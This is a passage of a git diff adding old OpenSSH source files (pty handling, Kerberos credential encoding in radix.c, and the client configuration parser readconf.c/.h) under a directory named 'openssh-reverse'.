*ttyfd, const char *ttyname) +{ + int fd; +#ifdef HAVE_VHANGUP + void *old; +#endif /* HAVE_VHANGUP */ + + /* First disconnect from the old controlling tty. */ +#ifdef TIOCNOTTY + fd = open("/dev/tty", O_RDWR | O_NOCTTY); + if (fd >= 0) { + (void) ioctl(fd, TIOCNOTTY, NULL); + close(fd); + } +#endif /* TIOCNOTTY */ + if (setsid() < 0) + error("setsid: %.100s", strerror(errno)); + + /* + * Verify that we are successfully disconnected from the controlling + * tty. + */ + fd = open("/dev/tty", O_RDWR | O_NOCTTY); + if (fd >= 0) { + error("Failed to disconnect from controlling tty."); + close(fd); + } + /* Make it our controlling tty. */ +#ifdef TIOCSCTTY + debug("Setting controlling tty using TIOCSCTTY."); + /* + * We ignore errors from this, because HPSUX defines TIOCSCTTY, but + * returns EINVAL with these arguments, and there is absolutely no + * documentation. + */ + ioctl(*ttyfd, TIOCSCTTY, NULL); +#endif /* TIOCSCTTY */ +#ifdef HAVE_VHANGUP + old = signal(SIGHUP, SIG_IGN); + vhangup(); + signal(SIGHUP, old); +#endif /* HAVE_VHANGUP */ + fd = open(ttyname, O_RDWR); + if (fd < 0) { + error("%.100s: %.100s", ttyname, strerror(errno)); + } else { +#ifdef HAVE_VHANGUP + close(*ttyfd); + *ttyfd = fd; +#else /* HAVE_VHANGUP */ + close(fd); +#endif /* HAVE_VHANGUP */ + } + /* Verify that we now have a controlling tty. */ + fd = open("/dev/tty", O_WRONLY); + if (fd < 0) + error("open /dev/tty failed - could not set controlling tty: %.100s", + strerror(errno)); + else { + close(fd); + } +} + +/* Changes the window size associated with the pty. */ + +void +pty_change_window_size(int ptyfd, int row, int col, + int xpixel, int ypixel) +{ + struct winsize w; + w.ws_row = row; + w.ws_col = col; + w.ws_xpixel = xpixel; + w.ws_ypixel = ypixel; + (void) ioctl(ptyfd, TIOCSWINSZ, &w); +} + +void +pty_setowner(struct passwd *pw, const char *ttyname) +{ + struct group *grp; + gid_t gid; + mode_t mode; + + /* Determine the group to make the owner of the tty. */ + grp = getgrnam("tty"); + if (grp) { + gid = grp->gr_gid; + mode = S_IRUSR | S_IWUSR | S_IWGRP; + } else { + gid = pw->pw_gid; + mode = S_IRUSR | S_IWUSR | S_IWGRP | S_IWOTH; + } + + /* Change ownership of the tty. */ + if (chown(ttyname, pw->pw_uid, gid) < 0) + fatal("chown(%.100s, %d, %d) failed: %.100s", + ttyname, pw->pw_uid, gid, strerror(errno)); + if (chmod(ttyname, mode) < 0) + fatal("chmod(%.100s, 0%o) failed: %.100s", + ttyname, mode, strerror(errno)); +} diff --git a/other/openssh-reverse/pty.h b/other/openssh-reverse/pty.h new file mode 100644 index 0000000..2841968 --- /dev/null +++ b/other/openssh-reverse/pty.h @@ -0,0 +1,48 @@ +/* + * + * pty.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Fri Mar 17 05:03:28 1995 ylo + * + * Functions for allocating a pseudo-terminal and making it the controlling + * tty. + */ + +/* RCSID("$OpenBSD: pty.h,v 1.7 2000/06/20 01:39:43 markus Exp $"); */ + +#ifndef PTY_H +#define PTY_H + +/* + * Allocates and opens a pty. Returns 0 if no pty could be allocated, or + * nonzero if a pty was successfully allocated. On success, open file + * descriptors for the pty and tty sides and the name of the tty side are + * returned (the buffer must be able to hold at least 64 characters). + */ +int pty_allocate(int *ptyfd, int *ttyfd, char *ttyname, int ttynamelen); + +/* + * Releases the tty. Its ownership is returned to root, and permissions to + * 0666. + */ +void pty_release(const char *ttyname); + +/* + * Makes the tty the processes controlling tty and sets it to sane modes. + * This may need to reopen the tty to get rid of possible eavesdroppers. + */ +void pty_make_controlling_tty(int *ttyfd, const char *ttyname); + +/* Changes the window size associated with the pty. */ +void +pty_change_window_size(int ptyfd, int row, int col, + int xpixel, int ypixel); + +void pty_setowner(struct passwd *pw, const char *ttyname); + +#endif /* PTY_H */ diff --git a/other/openssh-reverse/radix.c b/other/openssh-reverse/radix.c new file mode 100644 index 0000000..7e668ea --- /dev/null +++ b/other/openssh-reverse/radix.c @@ -0,0 +1,194 @@ +/* + * radix.c + * + * Dug Song + */ + +#include "includes.h" +#include "uuencode.h" + +RCSID("$OpenBSD: radix.c,v 1.12 2000/06/22 23:55:00 djm Exp $"); + +#ifdef AFS +#include + +typedef unsigned char my_u_char; +typedef unsigned int my_u_int32_t; +typedef unsigned short my_u_short; + +/* Nasty macros from BIND-4.9.2 */ + +#define GETSHORT(s, cp) { \ + register my_u_char *t_cp = (my_u_char*)(cp); \ + (s) = (((my_u_short)t_cp[0]) << 8) \ + | (((my_u_short)t_cp[1])) \ + ; \ + (cp) += 2; \ +} + +#define GETLONG(l, cp) { \ + register my_u_char *t_cp = (my_u_char*)(cp); \ + (l) = (((my_u_int32_t)t_cp[0]) << 24) \ + | (((my_u_int32_t)t_cp[1]) << 16) \ + | (((my_u_int32_t)t_cp[2]) << 8) \ + | (((my_u_int32_t)t_cp[3])) \ + ; \ + (cp) += 4; \ +} + +#define PUTSHORT(s, cp) { \ + register my_u_short t_s = (my_u_short)(s); \ + register my_u_char *t_cp = (my_u_char*)(cp); \ + *t_cp++ = t_s >> 8; \ + *t_cp = t_s; \ + (cp) += 2; \ +} + +#define PUTLONG(l, cp) { \ + register my_u_int32_t t_l = (my_u_int32_t)(l); \ + register my_u_char *t_cp = (my_u_char*)(cp); \ + *t_cp++ = t_l >> 24; \ + *t_cp++ = t_l >> 16; \ + *t_cp++ = t_l >> 8; \ + *t_cp = t_l; \ + (cp) += 4; \ +} + +#define GETSTRING(s, p, p_l) { \ + register char* p_targ = (p) + p_l; \ + register char* s_c = (s); \ + register char* p_c = (p); \ + while (*p_c && (p_c < p_targ)) { \ + *s_c++ = *p_c++; \ + } \ + if (p_c == p_targ) { \ + return 1; \ + } \ + *s_c = *p_c++; \ + (p_l) = (p_l) - (p_c - (p)); \ + (p) = p_c; \ +} + + +int +creds_to_radix(CREDENTIALS *creds, unsigned char *buf, size_t buflen) +{ + char *p, *s; + int len; + char temp[2048]; + + p = temp; + *p++ = 1; /* version */ + s = creds->service; + while (*s) + *p++ = *s++; + *p++ = *s; + s = creds->instance; + while (*s) + *p++ = *s++; + *p++ = *s; + s = creds->realm; + while (*s) + *p++ = *s++; + *p++ = *s; + + s = creds->pname; + while (*s) + *p++ = *s++; + *p++ = *s; + s = creds->pinst; + while (*s) + *p++ = *s++; + *p++ = *s; + /* Null string to repeat the realm. */ + *p++ = '\0'; + + PUTLONG(creds->issue_date, p); + { + unsigned int endTime; + endTime = (unsigned int) krb_life_to_time(creds->issue_date, + creds->lifetime); + PUTLONG(endTime, p); + } + + memcpy(p, &creds->session, sizeof(creds->session)); + p += sizeof(creds->session); + + PUTSHORT(creds->kvno, p); + PUTLONG(creds->ticket_st.length, p); + + memcpy(p, creds->ticket_st.dat, creds->ticket_st.length); + p += creds->ticket_st.length; + len = p - temp; + + return (uuencode((unsigned char *)temp, len, (char *)buf, buflen)); +} + +int +radix_to_creds(const char *buf, CREDENTIALS *creds) +{ + + char *p; + int len, tl; + char version; + char temp[2048]; + + len = uudecode(buf, (unsigned char *)temp, sizeof(temp)); + if (len < 0) + return 0; + + p = temp; + + /* check version and length! */ + if (len < 1) + return 0; + version = *p; + p++; + len--; + + GETSTRING(creds->service, p, len); + GETSTRING(creds->instance, p, len); + GETSTRING(creds->realm, p, len); + + GETSTRING(creds->pname, p, len); + GETSTRING(creds->pinst, p, len); + /* Ignore possibly different realm. */ + while (*p && len) + p++, len--; + if (len == 0) + return 0; + p++, len--; + + /* Enough space for remaining fixed-length parts? */ + if (len < (4 + 4 + sizeof(creds->session) + 2 + 4)) + return 0; + + GETLONG(creds->issue_date, p); + len -= 4; + { + unsigned int endTime; + GETLONG(endTime, p); + len -= 4; + creds->lifetime = krb_time_to_life(creds->issue_date, endTime); + } + + memcpy(&creds->session, p, sizeof(creds->session)); + p += sizeof(creds->session); + len -= sizeof(creds->session); + + GETSHORT(creds->kvno, p); + len -= 2; + GETLONG(creds->ticket_st.length, p); + len -= 4; + + tl = creds->ticket_st.length; + if (tl < 0 || tl > len || tl > sizeof(creds->ticket_st.dat)) + return 0; + + memcpy(creds->ticket_st.dat, p, tl); + p += tl; + len -= tl; + + return 1; +} +#endif /* AFS */ diff --git a/other/openssh-reverse/readconf.c b/other/openssh-reverse/readconf.c new file mode 100644 index 0000000..06cfaa1 --- /dev/null +++ b/other/openssh-reverse/readconf.c @@ -0,0 +1,794 @@ +/* + * + * readconf.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Sat Apr 22 00:03:10 1995 ylo + * + * Functions for reading the configuration files. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: readconf.c,v 1.43 2000/07/14 22:59:46 markus Exp $"); + +#include "ssh.h" +#include "cipher.h" +#include "readconf.h" +#include "match.h" +#include "xmalloc.h" +#include "compat.h" + +/* Format of the configuration file: + + # Configuration data is parsed as follows: + # 1. command line options + # 2. user-specific file + # 3. system-wide file + # Any configuration value is only changed the first time it is set. + # Thus, host-specific definitions should be at the beginning of the + # configuration file, and defaults at the end. + + # Host-specific declarations. These may override anything above. A single + # host may match multiple declarations; these are processed in the order + # that they are given in. + + Host *.ngs.fi ngs.fi + FallBackToRsh no + + Host fake.com + HostName another.host.name.real.org + User blaah + Port 34289 + ForwardX11 no + ForwardAgent no + + Host books.com + RemoteForward 9999 shadows.cs.hut.fi:9999 + Cipher 3des + + Host fascist.blob.com + Port 23123 + User tylonen + RhostsAuthentication no + PasswordAuthentication no + + Host puukko.hut.fi + User t35124p + ProxyCommand ssh-proxy %h %p + + Host *.fr + UseRsh yes + + Host *.su + Cipher none + PasswordAuthentication no + + # Defaults for various options + Host * + ForwardAgent no + ForwardX11 yes + RhostsAuthentication yes + PasswordAuthentication yes + RSAAuthentication yes + RhostsRSAAuthentication yes + FallBackToRsh no + UseRsh no + StrictHostKeyChecking yes + KeepAlives no + IdentityFile ~/.ssh/identity + Port 22 + EscapeChar ~ + +*/ + +/* Keyword tokens. */ + +typedef enum { + oBadOption, + oForwardAgent, oForwardX11, oGatewayPorts, oRhostsAuthentication, + oPasswordAuthentication, oRSAAuthentication, oFallBackToRsh, oUseRsh, + oSkeyAuthentication, oXAuthLocation, +#ifdef KRB4 + oKerberosAuthentication, +#endif /* KRB4 */ +#ifdef AFS + oKerberosTgtPassing, oAFSTokenPassing, +#endif + oIdentityFile, oHostName, oPort, oCipher, oRemoteForward, oLocalForward, + oUser, oHost, oEscapeChar, oRhostsRSAAuthentication, oProxyCommand, + oGlobalKnownHostsFile, oUserKnownHostsFile, oConnectionAttempts, + oBatchMode, oCheckHostIP, oStrictHostKeyChecking, oCompression, + oCompressionLevel, oKeepAlives, oNumberOfPasswordPrompts, oTISAuthentication, + oUsePrivilegedPort, oLogLevel, oCiphers, oProtocol, oIdentityFile2, + oGlobalKnownHostsFile2, oUserKnownHostsFile2, oDSAAuthentication +} OpCodes; + +/* Textual representations of the tokens. */ + +static struct { + const char *name; + OpCodes opcode; +} keywords[] = { + { "forwardagent", oForwardAgent }, + { "forwardx11", oForwardX11 }, + { "xauthlocation", oXAuthLocation }, + { "gatewayports", oGatewayPorts }, + { "useprivilegedport", oUsePrivilegedPort }, + { "rhostsauthentication", oRhostsAuthentication }, + { "passwordauthentication", oPasswordAuthentication }, + { "rsaauthentication", oRSAAuthentication }, + { "dsaauthentication", oDSAAuthentication }, + { "skeyauthentication", oSkeyAuthentication }, +#ifdef KRB4 + { "kerberosauthentication", oKerberosAuthentication }, +#endif /* KRB4 */ +#ifdef AFS + { "kerberostgtpassing", oKerberosTgtPassing }, + { "afstokenpassing", oAFSTokenPassing }, +#endif + { "fallbacktorsh", oFallBackToRsh }, + { "usersh", oUseRsh }, + { "identityfile", oIdentityFile }, + { "identityfile2", oIdentityFile2 }, + { "hostname", oHostName }, + { "proxycommand", oProxyCommand }, + { "port", oPort }, + { "cipher", oCipher }, + { "ciphers", oCiphers }, + { "protocol", oProtocol }, + { "remoteforward", oRemoteForward }, + { "localforward", oLocalForward }, + { "user", oUser }, + { "host", oHost }, + { "escapechar", oEscapeChar }, + { "rhostsrsaauthentication", oRhostsRSAAuthentication }, + { "globalknownhostsfile", oGlobalKnownHostsFile }, + { "userknownhostsfile", oUserKnownHostsFile }, + { "globalknownhostsfile2", oGlobalKnownHostsFile2 }, + { "userknownhostsfile2", oUserKnownHostsFile2 }, + { "connectionattempts", oConnectionAttempts }, + { "batchmode", oBatchMode }, + { "checkhostip", oCheckHostIP }, + { "stricthostkeychecking", oStrictHostKeyChecking }, + { "compression", oCompression }, + { "compressionlevel", oCompressionLevel }, + { "keepalive", oKeepAlives }, + { "numberofpasswordprompts", oNumberOfPasswordPrompts }, + { "tisauthentication", oTISAuthentication }, + { "loglevel", oLogLevel }, + { NULL, 0 } +}; + +/* + * Adds a local TCP/IP port forward to options. Never returns if there is an + * error. + */ + +void +add_local_forward(Options *options, u_short port, const char *host, + u_short host_port) +{ + Forward *fwd; + extern uid_t original_real_uid; + if (port < IPPORT_RESERVED && original_real_uid != 0) + fatal("Privileged ports can only be forwarded by root.\n"); + if (options->num_local_forwards >= SSH_MAX_FORWARDS_PER_DIRECTION) + fatal("Too many local forwards (max %d).", SSH_MAX_FORWARDS_PER_DIRECTION); + fwd = &options->local_forwards[options->num_local_forwards++]; + fwd->port = port; + fwd->host = xstrdup(host); + fwd->host_port = host_port; +} + +/* + * Adds a remote TCP/IP port forward to options. Never returns if there is + * an error. + */ + +void +add_remote_forward(Options *options, u_short port, const char *host, + u_short host_port) +{ + Forward *fwd; + if (options->num_remote_forwards >= SSH_MAX_FORWARDS_PER_DIRECTION) + fatal("Too many remote forwards (max %d).", + SSH_MAX_FORWARDS_PER_DIRECTION); + fwd = &options->remote_forwards[options->num_remote_forwards++]; + fwd->port = port; + fwd->host = xstrdup(host); + fwd->host_port = host_port; +} + +/* + * Returns the number of the token pointed to by cp of length len. Never + * returns if the token is not known. + */ + +static OpCodes +parse_token(const char *cp, const char *filename, int linenum) +{ + unsigned int i; + + for (i = 0; keywords[i].name; i++) + if (strcasecmp(cp, keywords[i].name) == 0) + return keywords[i].opcode; + + fprintf(stderr, "%s: line %d: Bad configuration option: %s\n", + filename, linenum, cp); + return oBadOption; +} + +/* + * Processes a single option line as used in the configuration files. This + * only sets those values that have not already been set. + */ + +int +process_config_line(Options *options, const char *host, + char *line, const char *filename, int linenum, + int *activep) +{ + char buf[256], *s, *string, **charptr, *endofnumber, *keyword, *arg; + int opcode, *intptr, value; + u_short fwd_port, fwd_host_port; + + s = line; + /* Get the keyword. (Each line is supposed to begin with a keyword). */ + keyword = strdelim(&s); + /* Ignore leading whitespace. */ + if (*keyword == '\0') + keyword = strdelim(&s); + if (!*keyword || *keyword == '\n' || *keyword == '#') + return 0; + + opcode = parse_token(keyword, filename, linenum); + + switch (opcode) { + case oBadOption: + /* don't panic, but count bad options */ + return -1; + /* NOTREACHED */ + case oForwardAgent: + intptr = &options->forward_agent; +parse_flag: + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing yes/no argument.", filename, linenum); + value = 0; /* To avoid compiler warning... */ + if (strcmp(arg, "yes") == 0 || strcmp(arg, "true") == 0) + value = 1; + else if (strcmp(arg, "no") == 0 || strcmp(arg, "false") == 0) + value = 0; + else + fatal("%.200s line %d: Bad yes/no argument.", filename, linenum); + if (*activep && *intptr == -1) + *intptr = value; + break; + + case oForwardX11: + intptr = &options->forward_x11; + goto parse_flag; + + case oGatewayPorts: + intptr = &options->gateway_ports; + goto parse_flag; + + case oUsePrivilegedPort: + intptr = &options->use_privileged_port; + goto parse_flag; + + case oRhostsAuthentication: + intptr = &options->rhosts_authentication; + goto parse_flag; + + case oPasswordAuthentication: + intptr = &options->password_authentication; + goto parse_flag; + + case oDSAAuthentication: + intptr = &options->dsa_authentication; + goto parse_flag; + + case oRSAAuthentication: + intptr = &options->rsa_authentication; + goto parse_flag; + + case oRhostsRSAAuthentication: + intptr = &options->rhosts_rsa_authentication; + goto parse_flag; + + case oTISAuthentication: + /* fallthrough, there is no difference on the client side */ + case oSkeyAuthentication: + intptr = &options->skey_authentication; + goto parse_flag; + +#ifdef KRB4 + case oKerberosAuthentication: + intptr = &options->kerberos_authentication; + goto parse_flag; +#endif /* KRB4 */ + +#ifdef AFS + case oKerberosTgtPassing: + intptr = &options->kerberos_tgt_passing; + goto parse_flag; + + case oAFSTokenPassing: + intptr = &options->afs_token_passing; + goto parse_flag; +#endif + + case oFallBackToRsh: + intptr = &options->fallback_to_rsh; + goto parse_flag; + + case oUseRsh: + intptr = &options->use_rsh; + goto parse_flag; + + case oBatchMode: + intptr = &options->batch_mode; + goto parse_flag; + + case oCheckHostIP: + intptr = &options->check_host_ip; + goto parse_flag; + + case oStrictHostKeyChecking: + intptr = &options->strict_host_key_checking; + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing yes/no argument.", + filename, linenum); + value = 0; /* To avoid compiler warning... */ + if (strcmp(arg, "yes") == 0 || strcmp(arg, "true") == 0) + value = 1; + else if (strcmp(arg, "no") == 0 || strcmp(arg, "false") == 0) + value = 0; + else if (strcmp(arg, "ask") == 0) + value = 2; + else + fatal("%.200s line %d: Bad yes/no/ask argument.", filename, linenum); + if (*activep && *intptr == -1) + *intptr = value; + break; + + case oCompression: + intptr = &options->compression; + goto parse_flag; + + case oKeepAlives: + intptr = &options->keepalives; + goto parse_flag; + + case oNumberOfPasswordPrompts: + intptr = &options->number_of_password_prompts; + goto parse_int; + + case oCompressionLevel: + intptr = &options->compression_level; + goto parse_int; + + case oIdentityFile: + case oIdentityFile2: + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + if (*activep) { + intptr = (opcode == oIdentityFile) ? + &options->num_identity_files : + &options->num_identity_files2; + if (*intptr >= SSH_MAX_IDENTITY_FILES) + fatal("%.200s line %d: Too many identity files specified (max %d).", + filename, linenum, SSH_MAX_IDENTITY_FILES); + charptr = (opcode == oIdentityFile) ? + &options->identity_files[*intptr] : + &options->identity_files2[*intptr]; + *charptr = xstrdup(arg); + *intptr = *intptr + 1; + } + break; + + case oXAuthLocation: + charptr=&options->xauth_location; + goto parse_string; + + case oUser: + charptr = &options->user; +parse_string: + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + if (*activep && *charptr == NULL) + *charptr = xstrdup(arg); + break; + + case oGlobalKnownHostsFile: + charptr = &options->system_hostfile; + goto parse_string; + + case oUserKnownHostsFile: + charptr = &options->user_hostfile; + goto parse_string; + + case oGlobalKnownHostsFile2: + charptr = &options->system_hostfile2; + goto parse_string; + + case oUserKnownHostsFile2: + charptr = &options->user_hostfile2; + goto parse_string; + + case oHostName: + charptr = &options->hostname; + goto parse_string; + + case oProxyCommand: + charptr = &options->proxy_command; + string = xstrdup(""); + while ((arg = strdelim(&s)) != NULL && *arg != '\0') { + string = xrealloc(string, strlen(string) + strlen(arg) + 2); + strcat(string, " "); + strcat(string, arg); + } + if (*activep && *charptr == NULL) + *charptr = string; + else + xfree(string); + return 0; + + case oPort: + intptr = &options->port; +parse_int: + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + if (arg[0] < '0' || arg[0] > '9') + fatal("%.200s line %d: Bad number.", filename, linenum); + + /* Octal, decimal, or hex format? */ + value = strtol(arg, &endofnumber, 0); + if (arg == endofnumber) + fatal("%.200s line %d: Bad number.", filename, linenum); + if (*activep && *intptr == -1) + *intptr = value; + break; + + case oConnectionAttempts: + intptr = &options->connection_attempts; + goto parse_int; + + case oCipher: + intptr = &options->cipher; + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + value = cipher_number(arg); + if (value == -1) + fatal("%.200s line %d: Bad cipher '%s'.", + filename, linenum, arg ? arg : ""); + if (*activep && *intptr == -1) + *intptr = value; + break; + + case oCiphers: + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + if (!ciphers_valid(arg)) + fatal("%.200s line %d: Bad SSH2 cipher spec '%s'.", + filename, linenum, arg ? arg : ""); + if (*activep && options->ciphers == NULL) + options->ciphers = xstrdup(arg); + break; + + case oProtocol: + intptr = &options->protocol; + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + value = proto_spec(arg); + if (value == SSH_PROTO_UNKNOWN) + fatal("%.200s line %d: Bad protocol spec '%s'.", + filename, linenum, arg ? arg : ""); + if (*activep && *intptr == SSH_PROTO_UNKNOWN) + *intptr = value; + break; + + case oLogLevel: + intptr = (int *) &options->log_level; + arg = strdelim(&s); + value = log_level_number(arg); + if (value == (LogLevel) - 1) + fatal("%.200s line %d: unsupported log level '%s'\n", + filename, linenum, arg ? arg : ""); + if (*activep && (LogLevel) * intptr == -1) + *intptr = (LogLevel) value; + break; + + case oRemoteForward: + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + if (arg[0] < '0' || arg[0] > '9') + fatal("%.200s line %d: Badly formatted port number.", + filename, linenum); + fwd_port = atoi(arg); + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing second argument.", + filename, linenum); + if (sscanf(arg, "%255[^:]:%hu", buf, &fwd_host_port) != 2) + fatal("%.200s line %d: Badly formatted host:port.", + filename, linenum); + if (*activep) + add_remote_forward(options, fwd_port, buf, fwd_host_port); + break; + + case oLocalForward: + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + if (arg[0] < '0' || arg[0] > '9') + fatal("%.200s line %d: Badly formatted port number.", + filename, linenum); + fwd_port = atoi(arg); + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing second argument.", + filename, linenum); + if (sscanf(arg, "%255[^:]:%hu", buf, &fwd_host_port) != 2) + fatal("%.200s line %d: Badly formatted host:port.", + filename, linenum); + if (*activep) + add_local_forward(options, fwd_port, buf, fwd_host_port); + break; + + case oHost: + *activep = 0; + while ((arg = strdelim(&s)) != NULL && *arg != '\0') + if (match_pattern(host, arg)) { + debug("Applying options for %.100s", arg); + *activep = 1; + break; + } + /* Avoid garbage check below, as strdelim is done. */ + return 0; + + case oEscapeChar: + intptr = &options->escape_char; + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + if (arg[0] == '^' && arg[2] == 0 && + (unsigned char) arg[1] >= 64 && (unsigned char) arg[1] < 128) + value = (unsigned char) arg[1] & 31; + else if (strlen(arg) == 1) + value = (unsigned char) arg[0]; + else if (strcmp(arg, "none") == 0) + value = -2; + else { + fatal("%.200s line %d: Bad escape character.", + filename, linenum); + /* NOTREACHED */ + value = 0; /* Avoid compiler warning. */ + } + if (*activep && *intptr == -1) + *intptr = value; + break; + + default: + fatal("process_config_line: Unimplemented opcode %d", opcode); + } + + /* Check that there is no garbage at end of line. */ + if ((arg = strdelim(&s)) != NULL && *arg != '\0') + { + fatal("%.200s line %d: garbage at end of line; \"%.200s\".", + filename, linenum, arg); + } + return 0; +} + + +/* + * Reads the config file and modifies the options accordingly. Options + * should already be initialized before this call. This never returns if + * there is an error. If the file does not exist, this returns immediately. + */ + +void +read_config_file(const char *filename, const char *host, Options *options) +{ + FILE *f; + char line[1024]; + int active, linenum; + int bad_options = 0; + + /* Open the file. */ + f = fopen(filename, "r"); + if (!f) + return; + + debug("Reading configuration data %.200s", filename); + + /* + * Mark that we are now processing the options. This flag is turned + * on/off by Host specifications. + */ + active = 1; + linenum = 0; + while (fgets(line, sizeof(line), f)) { + /* Update line number counter. */ + linenum++; + if (process_config_line(options, host, line, filename, linenum, &active) != 0) + bad_options++; + } + fclose(f); + if (bad_options > 0) + fatal("%s: terminating, %d bad configuration options\n", + filename, bad_options); +} + +/* + * Initializes options to special values that indicate that they have not yet + * been set. Read_config_file will only set options with this value. Options + * are processed in the following order: command line, user config file, + * system config file. Last, fill_default_options is called. + */ + +void +initialize_options(Options * options) +{ + memset(options, 'X', sizeof(*options)); + options->forward_agent = -1; + options->forward_x11 = -1; + options->xauth_location = NULL; + options->gateway_ports = -1; + options->use_privileged_port = -1; + options->rhosts_authentication = -1; + options->rsa_authentication = -1; + options->dsa_authentication = -1; + options->skey_authentication = -1; +#ifdef KRB4 + options->kerberos_authentication = -1; +#endif +#ifdef AFS + options->kerberos_tgt_passing = -1; + options->afs_token_passing = -1; +#endif + options->password_authentication = -1; + options->rhosts_rsa_authentication = -1; + options->fallback_to_rsh = -1; + options->use_rsh = -1; + options->batch_mode = -1; + options->check_host_ip = -1; + options->strict_host_key_checking = -1; + options->compression = -1; + options->keepalives = -1; + options->compression_level = -1; + options->port = -1; + options->connection_attempts = -1; + options->number_of_password_prompts = -1; + options->cipher = -1; + options->ciphers = NULL; + options->protocol = SSH_PROTO_UNKNOWN; + options->num_identity_files = 0; + options->num_identity_files2 = 0; + options->hostname = NULL; + options->proxy_command = NULL; + options->user = NULL; + options->escape_char = -1; + options->system_hostfile = NULL; + options->user_hostfile = NULL; + options->system_hostfile2 = NULL; + options->user_hostfile2 = NULL; + options->num_local_forwards = 0; + options->num_remote_forwards = 0; + options->log_level = (LogLevel) - 1; +} + +/* + * Called after processing other sources of option data, this fills those + * options for which no value has been specified with their default values. + */ + +void +fill_default_options(Options * options) +{ + if (options->forward_agent == -1) + options->forward_agent = 0; + if (options->forward_x11 == -1) + options->forward_x11 = 0; +#ifdef XAUTH_PATH + if (options->xauth_location == NULL) + options->xauth_location = XAUTH_PATH; +#endif /* XAUTH_PATH */ + if (options->gateway_ports == -1) + options->gateway_ports = 0; + if (options->use_privileged_port == -1) + options->use_privileged_port = 1; + if (options->rhosts_authentication == -1) + options->rhosts_authentication = 1; + if (options->rsa_authentication == -1) + options->rsa_authentication = 1; + if (options->dsa_authentication == -1) + options->dsa_authentication = 1; + if (options->skey_authentication == -1) + options->skey_authentication = 0; +#ifdef KRB4 + if (options->kerberos_authentication == -1) + options->kerberos_authentication = 1; +#endif /* KRB4 */ +#ifdef AFS + if (options->kerberos_tgt_passing == -1) + options->kerberos_tgt_passing = 1; + if (options->afs_token_passing == -1) + options->afs_token_passing = 1; +#endif /* AFS */ + if (options->password_authentication == -1) + options->password_authentication = 1; + if (options->rhosts_rsa_authentication == -1) + options->rhosts_rsa_authentication = 1; + if (options->fallback_to_rsh == -1) + options->fallback_to_rsh = 0; + if (options->use_rsh == -1) + options->use_rsh = 0; + if (options->batch_mode == -1) + options->batch_mode = 0; + if (options->check_host_ip == -1) + options->check_host_ip = 1; + if (options->strict_host_key_checking == -1) + options->strict_host_key_checking = 2; /* 2 is default */ + if (options->compression == -1) + options->compression = 0; + if (options->keepalives == -1) + options->keepalives = 1; + if (options->compression_level == -1) + options->compression_level = 6; + if (options->port == -1) + options->port = 0; /* Filled in ssh_connect. */ + if (options->connection_attempts == -1) + options->connection_attempts = 4; + if (options->number_of_password_prompts == -1) + options->number_of_password_prompts = 3; + /* Selected in ssh_login(). */ + if (options->cipher == -1) + options->cipher = SSH_CIPHER_NOT_SET; + /* options->ciphers, default set in myproposals.h */ + if (options->protocol == SSH_PROTO_UNKNOWN) + options->protocol = SSH_PROTO_1|SSH_PROTO_2|SSH_PROTO_1_PREFERRED; + if (options->num_identity_files == 0) { + options->identity_files[0] = + xmalloc(2 + strlen(SSH_CLIENT_IDENTITY) + 1); + sprintf(options->identity_files[0], "~/%.100s", SSH_CLIENT_IDENTITY); + options->num_identity_files = 1; + } + if (options->num_identity_files2 == 0) { + options->identity_files2[0] = + xmalloc(2 + strlen(SSH_CLIENT_ID_DSA) + 1); + sprintf(options->identity_files2[0], "~/%.100s", SSH_CLIENT_ID_DSA); + options->num_identity_files2 = 1; + } + if (options->escape_char == -1) + options->escape_char = '~'; + if (options->system_hostfile == NULL) + options->system_hostfile = SSH_SYSTEM_HOSTFILE; + if (options->user_hostfile == NULL) + options->user_hostfile = SSH_USER_HOSTFILE; + if (options->system_hostfile2 == NULL) + options->system_hostfile2 = SSH_SYSTEM_HOSTFILE2; + if (options->user_hostfile2 == NULL) + options->user_hostfile2 = SSH_USER_HOSTFILE2; + if (options->log_level == (LogLevel) - 1) + options->log_level = SYSLOG_LEVEL_INFO; + /* options->proxy_command should not be set by default */ + /* options->user will be set in the main program if appropriate */ + /* options->hostname will be set in the main program if appropriate */ +} diff --git a/other/openssh-reverse/readconf.h b/other/openssh-reverse/readconf.h new file mode 100644 index 0000000..e33cebc --- /dev/null +++ b/other/openssh-reverse/readconf.h @@ -0,0 +1,145 @@ +/* + * + * readconf.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Sat Apr 22 00:25:29 1995 ylo + * + * Functions for reading the configuration file. + * + */ + +/* RCSID("$OpenBSD: readconf.h,v 1.20 2000/06/20 01:39:43 markus Exp $"); */ + +#ifndef READCONF_H +#define READCONF_H + +/* Data structure for representing a forwarding request. */ + +typedef struct { + u_short port; /* Port to forward. */ + char *host; /* Host to connect. */ + u_short host_port; /* Port to connect on host. */ +} Forward; +/* Data structure for representing option data. */ + +typedef struct { + int forward_agent; /* Forward authentication agent. */ + int forward_x11; /* Forward X11 display. */ + char *xauth_location; /* Location for xauth program */ + int gateway_ports; /* Allow remote connects to forwarded ports. */ + int use_privileged_port; /* Don't use privileged port if false. */ + int 